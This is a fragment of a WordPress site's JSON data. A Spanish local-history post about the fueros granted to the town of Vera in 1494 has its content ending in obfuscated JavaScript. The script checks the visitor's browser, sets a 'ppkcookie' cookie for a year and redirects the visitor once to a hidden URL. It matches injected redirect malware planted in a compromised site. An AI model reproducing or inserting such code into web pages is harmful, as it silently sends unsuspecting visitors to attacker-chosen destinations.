navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>El 20 de diciembre de 1494 los Reyes Cat\u00f3licos concedieron u otorgaron a Vera sus Fueros, documento constitutivo esencial en la vida de los municipios. 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